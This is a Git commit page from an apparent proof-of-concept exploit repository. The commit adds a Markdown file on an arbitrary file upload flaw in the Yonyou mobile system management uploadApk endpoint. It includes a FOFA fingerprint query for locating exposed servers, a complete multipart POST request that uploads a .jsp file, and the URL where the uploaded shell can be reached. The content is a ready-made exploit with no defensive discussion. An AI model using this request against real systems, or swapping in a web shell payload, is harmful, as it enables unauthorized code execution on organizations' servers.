admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create 用友移动系统管理uploadApk接口存在任意文件上传.md

Browse Source
This commit is contained in:
wy876 2024-04-23 18:29:10 +08:00 committed by GitHub
parent 0b3701c2a0
commit d8b0e47d5a
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 31 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

31
用友移动系统管理uploadApk接口存在任意文件上传.md Normal file
View File

@ -0,0 +1,31 @@
## 用友移动系统管理uploadApk接口存在任意文件上传
## fofa
```
body="../js/jslib/jquery.blockUI.js"
```
## poc
```
POST /maportal/appmanager/uploadApk.dopk_obj= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
--fa48ebfef59b133a8cd5275661b35d2c
Content-Disposition: form-data; name="downloadpath"; filename="59209.jsp"
Content-Type: application/msword
082863327
--fa48ebfef59b133a8cd5275661b35d2c--
```
![image](https://github.com/wy876/POC/assets/139549762/28bb2ff0-4455-40aa-95b3-c1815f2ee85b)
上传的shell地址拼接：
http://127.0.0.1/maupload/apk/59209.jsp